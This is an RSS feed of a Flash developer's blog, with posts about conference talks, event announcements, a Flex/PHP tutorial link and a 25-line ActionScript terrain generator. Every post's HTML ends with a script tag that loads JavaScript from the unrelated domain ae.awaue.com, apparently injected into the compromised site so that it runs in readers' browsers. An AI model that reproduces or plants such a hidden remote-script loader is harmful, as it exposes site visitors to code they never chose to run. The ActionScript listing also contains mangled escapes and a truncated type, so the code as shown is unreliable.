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	<title>FlashFuck.it &#187; Community</title>
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	<link>http://www.flashfuck.it</link>
	<description>flash platform, gaming and 3D</description>
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			<item>
		<title>Speaking at IGDA Switzerland 25th february 2010</title>
		<link>http://www.flashfuck.it/2010/02/08/speaking-at-igda-switzerland-25th-february-2010/</link>
		<comments>http://www.flashfuck.it/2010/02/08/speaking-at-igda-switzerland-25th-february-2010/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 09:25:56 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Speaking]]></category>
		<category><![CDATA[igda]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=172</guid>
		<description><![CDATA[I&#8217;ll be speaking at IGDA Switzerland in Bern in few weeks,

a great opportunity for me to talk about the Flash Platform as a gaming platform, to share the experience I had making the engine of Wazzamba and to meet new people I only &#8220;met&#8221; in twitter or in their blogs  
The meeting will take [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ll be speaking at <a href="http://www.igda.ch">IGDA Switzerland</a> in Bern in few weeks,<br />
<img src="http://www.igda.org/sites/all/themes/igda_black/logo.png" alt="Piergiorgio Niero IGDA Switzerland" /><br />
a great opportunity for me to talk about the Flash Platform as a gaming platform, to share the experience I had making the engine of <a href="http://www.wazzamba.com">Wazzamba</a> and to meet new people I only &#8220;met&#8221; in twitter or in their blogs <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>The meeting will take place in february 25th at &#8220;<a href="http://www.nothing.ch/">Nothing</a>&#8221; (great name guys <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ) hq in Wabern, you can find more info <a href="http://www.igda.ch/archives/225">here in IGDA Switzerland blog</a>.<br />
See you there <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>My FOTB &#8216;09 Schedule</title>
		<link>http://www.flashfuck.it/2009/09/07/my-fotb-09-schedule/</link>
		<comments>http://www.flashfuck.it/2009/09/07/my-fotb-09-schedule/#comments</comments>
		<pubDate>Mon, 07 Sep 2009 07:35:15 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[fotb09]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=159</guid>
		<description><![CDATA[Flash on the beach is each day closer and I started to plan my own schedule.
Each choice has been quite hard because of the high quality the conference is offering, the good thing is that even if I&#8217;m not 100% convinced to be attending some sessions I&#8217;m sure that I can switch to another one [...]]]></description>
			<content:encoded><![CDATA[<p>Flash on the beach is each day closer and I started to plan my own schedule.<br />
Each choice has been quite hard because of the high quality the conference is offering, the good thing is that even if I&#8217;m not 100% convinced to be attending some sessions I&#8217;m sure that I can switch to another one with the same or even higher quality <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>sunday:<br />
papervision3D workshop by seb lee-delisle</p>
<p>monday:<br />
Richard exposes all! &#8211; Richard Galvan<br />
Casual game architecture &#8211; Keith Peters<br />
Visualizing the voice &#8211; Chuck Freedman<br />
Who&#8217;s a bright spark then! &#8211; Mike Jones<br />
Cybernetic art revsited &#8211; Dr. Woohoo!<br />
Telling Stories – Hillman Curtis<br />
Epiphany – Joel Gethin Lewis</p>
<p>tuesday:<br />
3 minute wonders &#8211; many (looking forward to Michiel van der Ros 3D optimization for MMOs)<br />
Quick as a Flash &#8211; Grant Skinner<br />
Leaving the sandbox &#8211; Joa Ebert<br />
Application Frameworks &#8211; Richard Lord<br />
More than bending pixels &#8211; Paul Burnett<br />
Unconventional Webapps &#8211; Des Traynor + Eoghan McCabe<br />
Choose your own adventure &#8211; Craig Swann</p>
<p>wednesdey<br />
Play with vectors &#8211; Koen de Weggheleire<br />
Connecting the dots &#8211; Mario Klingemann<br />
Work/Play &#8211; Seb Lee-Delisle<br />
Flashed Fashion &#8211; Andy Mcdonald<br />
Research realtime graphics &#8211; Ralph Hauwert<br />
Space &#8211; Joshua Davis</p>
<p>I&#8217;m getting in Brighton on saturday 19th, you&#8217;re allowed to <a href="http://twitter.com/pigiuz">poke me</a> <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Building a structured RIA with Flex and PHP5\MySQL (episode 1)</title>
		<link>http://www.flashfuck.it/2009/04/15/building-a-structured-ria-with-flex-and-php5mysql-episode-1/</link>
		<comments>http://www.flashfuck.it/2009/04/15/building-a-structured-ria-with-flex-and-php5mysql-episode-1/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 21:05:54 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[The Flash Mind]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=139</guid>
		<description><![CDATA[Just posted the first episode of a cool tutorial on building RIAs with Cairngorm and Doctrine (a PHP ORM). This episode is about client only, next one will be about server side development.

Have a huge coffee cup and take a read 
Here&#8217;s the link 
]]></description>
			<content:encoded><![CDATA[<p>Just posted the first episode of a cool tutorial on <a href="http://www.theflashmind.com/blog/?p=16">building RIAs with Cairngorm and Doctrine (a PHP ORM)</a>. This episode is about client only, next one will be about server side development.</p>
<p style="text-align: center;"><img class="alignnone size-medium wp-image-142" title="tfmlogo" src="http://www.flashfuck.it/wp-content/uploads/2009/04/tfmlogo.jpg" alt="tfmlogo" width="240" height="220" /></p>
<p>Have a huge coffee cup and take a read <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Here&#8217;s the <a href="http://www.theflashmind.com/blog/?p=16">link </a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>All4Web day &#8211; 8th may 2009 &#8211; Milano Italy</title>
		<link>http://www.flashfuck.it/2009/04/01/all4web-day-8th-may-2009-milano-italy/</link>
		<comments>http://www.flashfuck.it/2009/04/01/all4web-day-8th-may-2009-milano-italy/#comments</comments>
		<pubDate>Wed, 01 Apr 2009 21:08:07 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Speaking]]></category>
		<category><![CDATA[The Flash Mind]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=134</guid>
		<description><![CDATA[Great news! Cross communities events work in Italy too and this is going to be an awesome one.

What
All4Web is a whole day of conference, completely free, completely geeky,  and completely across as many RIA technologies as you can count.
There will be great sessions about both server side and client side technologies such as the Adobe [...]]]></description>
			<content:encoded><![CDATA[<p>Great news! Cross communities events work in Italy too and this is going to be an awesome one.</p>
<p style="text-align: center;"><a href="http://www.all4webday.com" target="_blank"><img class="size-full wp-image-135 aligncenter" title="all4web" src="http://www.flashfuck.it/wp-content/uploads/2009/04/all4web-def.jpg" alt="all4web" width="300" height="233" /></a></p>
<p><strong>What</strong><br />
<a href="http://www.all4webday.com" target="_blank">All4Web</a> is a whole day of conference, completely free, completely geeky,  and completely across as many RIA technologies as you can count.<br />
There will be great sessions about both server side and client side technologies such as the Adobe Flash Platform (and obviously Flex and AIR), JavaFX, AJAX, Microsoft Silverlight, Adobe Coldfusion, J2EE and so on <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<strong>Who</strong><br />
Many talented guys from every corner of Italy (and Switzerland) representing their usergroups and discussing about their favourite technology.<br />
Involved usergroups are</p>
<ul>
<li><a title="http://www.theflashmind.com/" rel="nofollow" href="http://groups.adobe.com/groups/b01af2eb56">TheFlashMind</a> (Adobe Flash Platform User Group)</li>
<li><a class="externallink" title="http://www.cfmentor.com/" rel="nofollow" href="http://www.cfmentor.com/">CfMentor</a> (Adobe ColdFusion User Group)</li>
<li><a class="externallink" title="http://www.expressys.net/" rel="nofollow" href="http://www.expressys.net/">ExpressYS</a> (Microsoft Silverlight community)</li>
<li><a class="externallink" title="http://www.augitaly.com/flexgala/" rel="nofollow" href="http://www.augitaly.com/flexgala/">Flex Gala</a> (AUG Italy)</li>
<li><a class="externallink" title="http://www.agilemovement.it/" rel="nofollow" href="http://www.agilemovement.it/">Italian Agile Movement</a></li>
<li><a class="externallink" title="http://www.jugmilano.it/" rel="nofollow" href="http://www.jugmilano.it/">JUG Milano</a> (Java User Group)</li>
<li><a class="externallink" title="http://www.pizze-ria.it/" rel="nofollow" href="http://www.pizze-ria.it/">pizze-ria</a> (Rich Internet Applications community)</li>
<li><a class="externallink" title="http://ugialt.net/" rel="nofollow" href="http://ugialt.net/">UGIALT.NET</a> (Microsoft .NET platform community)</li>
<li><a class="externallink" title="http://www.ugidotnet.org/" rel="nofollow" href="http://www.ugidotnet.org/">UGIdotNET</a> (Microsoft .NET platform community)</li>
</ul>
<p>Take a look at the <a href="http://www.all4webday.com/jsp/Wiki?Agenda" target="_blank">agenda</a> to have an idea of what a great event it&#8217;s going to be <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>Where</strong><br />
In Milan, at the <a href="http://www.disco.unimib.it/" target="_blank">University &#8220;Bicocca&#8221;</a> (Edificio U6 Piazza dell&#8217;Ateneo Nuovo 1) (<a href="http://maps.google.com/maps?q=Edificio+U6+Piazza+dell%27Ateneo+Nuovo+1+20126+Milano" target="_blank">google maps here</a>)</p>
<p><strong>When</strong><br />
May 8th 2009, from 10AM to about 6PM.</p>
<p><strong>Furthermore&#8230;.</strong><br />
There will be a great debate about &#8220;RIA vs RIA&#8221;&#8230;just to start the day&#8230;(I can&#8217;t wait!!!!)<br />
There will be lots of gadgets<br />
There will be a lot of technology fighting! <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
<strong>IT&#8217;S COMPLETELY FREEEEEEEEE!!!!!!!!</strong><br />
To get the broadest audience ever all sessions will be taken in <strong>italian</strong>.</p>
<p>&#8230;and finally&#8230;I&#8217;m back on the stage ready to speak! <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>I hope to see you all there <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>My entry to Bit-101s 25 Lines competition</title>
		<link>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/</link>
		<comments>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/#comments</comments>
		<pubDate>Sun, 30 Nov 2008 13:45:08 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Community]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[25lines]]></category>
		<category><![CDATA[contest]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=101</guid>
		<description><![CDATA[Yep, i made my submission to 25lines contest just few days ago (right in time   ), so (as Sakri did some days before me) I&#8217;m publishing my code. It&#8217;s an easy terrain generator&#8230;


Actually, I think it can be somehow improved both in lines of code and actual performances, so feel free to edit [...]]]></description>
			<content:encoded><![CDATA[<p>Yep, i made my submission to <a href="http://www.25lines.com/" target="_blank">25lines contest</a> just few days ago (right in time <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ), so (as <a href="http://www.sakri.net/blog/2008/11/19/my-entry-to-bit-101s-25-lines-competition/" target="_blank">Sakri did some days before me</a>) I&#8217;m publishing my code. It&#8217;s an easy terrain generator&#8230;</p>
<p><a href="http://www.flashfuck.it/wp-content/uploads/2008/11/25lines.jpg"></a></p>
<p style="text-align: center;"><a href="http://www.flashfuck.it/wp-content/uploads/2008/11/25linesbmpoptimized.swf" target="_blank"><img class="alignnone size-medium wp-image-102 aligncenter" title="25lines" src="http://www.flashfuck.it/wp-content/uploads/2008/11/25lines-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>Actually, I think it can be somehow improved both in lines of code and actual performances, so feel free to edit or tell me &#8220;you&#8217;d better to do that this other way&#8230;&#8221; <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>What&#8217;s going on is:</p>
<ul>
<li>generate a shape filled with a gradient to create a reference color for differents &#8220;height&#8221;</li>
<li>generate a perlinNoise everyframe for dataprovider use</li>
<li>detect each perlinNoise pixel depth according with its main channel value (blue in this case..)</li>
<li>generating a vector of Bitmaps to be employed in the view</li>
</ul>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p101code2'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1012"><td class="code" id="p101code2"><pre class="actionscript" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/**
 * 25-Line ActionScript Contest Entry
 *
 * Project: Random Terrain 3D Generator
 * Author:  Piergiorgio Niero (aka pigiuz) piergiorgio.niero[at]gmail.com
 * Date:    11/24/08
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the &quot;Software&quot;), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */</span>
&nbsp;
<span style="color: #808080; font-style: italic;">// 3 free lines! Alter the parameters of the following lines or remove them.</span>
<span style="color: #808080; font-style: italic;">// Do not substitute other code for the three lines in this section</span>
<span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">800</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">800</span>, <span style="color: #0066CC;">backgroundColor</span>=0xffffff, frameRate=<span style="color: #cc66cc;">24</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">align</span> = StageAlign.<span style="color: #006600;">TOP_LEFT</span>;
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">scaleMode</span> = StageScaleMode.<span style="color: #006600;">NO_SCALE</span>;
<span style="color: #808080; font-style: italic;">// 25 lines begins here!</span>
<span style="color: #000000; font-weight: bold;">var</span> _bd:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">50</span>,<span style="color: #cc66cc;">50</span>,<span style="color: #000000; font-weight: bold;">false</span>,0x0000FF<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _points:<span style="color: #0066CC;">Array</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _vxCont:Sprite = Sprite<span style="color: #66cc66;">&#40;</span>addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Sprite<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
_vxCont.<span style="color: #006600;">x</span> = _vxCont.<span style="color: #006600;">y</span> = <span style="color: #cc66cc;">400</span>;
<span style="color: #000000; font-weight: bold;">var</span> _vexels:Vector. = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2500</span><span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _hMap:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span>,<span style="color: #cc66cc;">1</span>,<span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _gradient:Shape = <span style="color: #000000; font-weight: bold;">new</span> Shape<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
_gradient.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">beginGradientFill</span><span style="color: #66cc66;">&#40;</span> GradientType.<span style="color: #006600;">LINEAR</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> 0x4267F9, 0xF9EAB0, 0x9EF07D, 0x8DF273, 0x9D5E1E, 0xFFFFFF <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">90</span>, <span style="color: #cc66cc;">105</span>, <span style="color: #cc66cc;">110</span>, <span style="color: #cc66cc;">120</span>, <span style="color: #cc66cc;">145</span>, <span style="color: #cc66cc;">185</span> <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> Matrix<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0.2456396484375</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0.0006103524625</span>,<span style="color: #cc66cc;">127.5</span>,.5<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
_gradient.<span style="color: #006600;">graphics</span>.<span style="color: #006600;">drawRect</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">255</span>,<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;
_hMap.<span style="color: #006600;">draw</span><span style="color: #66cc66;">&#40;</span>_gradient<span style="color: #66cc66;">&#41;</span>;
addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>,generatePerlinNoise<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> generatePerlinNoise<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	_bd.<span style="color: #006600;">perlinNoise</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">25</span>,<span style="color: #cc66cc;">25</span>,<span style="color: #cc66cc;">1</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #000000; font-weight: bold;">false</span>,<span style="color: #000000; font-weight: bold;">true</span>,<span style="color: #cc66cc;">4</span>,<span style="color: #000000; font-weight: bold;">false</span>,_points<span style="color: #66cc66;">&#41;</span>;
	Point<span style="color: #66cc66;">&#40;</span>_points<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">y</span>+=<span style="color: #cc66cc;">1</span>;
	<span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> v:uint=<span style="color: #cc66cc;">0</span>;v<span style="color: #66cc66;">&amp;</span>amp;lt;<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2500</span><span style="color: #66cc66;">&#41;</span>;v++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span> = <span style="color: #66cc66;">&#40;</span>_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>==<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>?generateVoxel<span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">&#41;</span>:_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>;
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">y</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">pow</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">%</span>50,<span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&amp;</span>amp; 0xFF<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">/</span><span style="color: #cc66cc;">255</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">6</span>,<span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.24;
		_vxCont.<span style="color: #006600;">rotationX</span> = mouseY<span style="color: #66cc66;">*</span>.1;
		_vxCont.<span style="color: #006600;">rotationY</span> = <span style="color: #66cc66;">&#40;</span>_vxCont.<span style="color: #006600;">rotationY</span>-<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">90</span><span style="color: #66cc66;">/</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#40;</span>mouseX-<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #cc66cc;">45</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>.5;
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">bitmapData</span>.<span style="color: #006600;">floodFill</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,_hMap.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">%</span>50,<span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&amp;</span>amp; 0xFF<span style="color: #66cc66;">&#41;</span>,<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> generateVoxel<span style="color: #66cc66;">&#40;</span>v:uint<span style="color: #66cc66;">&#41;</span>:Bitmap<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> b:Bitmap = <span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5,<span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5,<span style="color: #000000; font-weight: bold;">false</span>,0x000000<span style="color: #66cc66;">&#41;</span>,<span style="color: #ff0000;">&quot;auto&quot;</span>,<span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;
	b.<span style="color: #006600;">x</span> = v<span style="color: #66cc66;">%</span>50<span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #0066CC;">width</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5<span style="color: #66cc66;">&#41;</span>;
	b.<span style="color: #006600;">z</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">return</span> Bitmap<span style="color: #66cc66;">&#40;</span>_vxCont.<span style="color: #006600;">addChild</span><span style="color: #66cc66;">&#40;</span>b<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#125;</span>
<span style="color: #808080; font-style: italic;">// 25 lines ends here!</span>
&nbsp;
enjoy ;<span style="color: #66cc66;">&#41;</span></pre></td></tr></table></div>

<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>FlexCamp 2008 Milan 7th November</title>
		<link>http://www.flashfuck.it/2008/09/10/flexcamp-2008-milan-7th-november/</link>
		<comments>http://www.flashfuck.it/2008/09/10/flexcamp-2008-milan-7th-november/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 21:25:29 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Speaking]]></category>
		<category><![CDATA[Actionscript.it]]></category>
		<category><![CDATA[FlexCamp]]></category>
		<category><![CDATA[meeting]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=82</guid>
		<description><![CDATA[Here&#8217;s the next great meeting from Actionscript.it community!
(Please open the article to see the flash file or player.)

Join the party, we&#8217;re going to share together our nerdy love for Adobe Flex!
Just compile the widget and submit that form  
]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s the next great meeting from Actionscript.it community!</p>
<p style="text-align: center;"><object type="application/x-shockwave-flash" data="http://www.flashfuck.it/wp-content/uploads/2008/09/flexcamp.swf?linkUrl=http://www.actionscript.it&amp;sendData=http://www.actionscript.it/flexcampwdg/sendMail.php" width="260" height="310" class="embedflash"><param name="movie" value="http://www.flashfuck.it/wp-content/uploads/2008/09/flexcamp.swf?linkUrl=http://www.actionscript.it&amp;sendData=http://www.actionscript.it/flexcampwdg/sendMail.php" /><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><small>(Please open the article to see the flash file or player.)</small></object></p>
<p style="text-align: center;">
<p>Join the party, we&#8217;re going to share together our nerdy love for Adobe Flex!<br />
Just compile the widget and submit that form <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
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		<slash:comments>2</slash:comments>
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</rss>
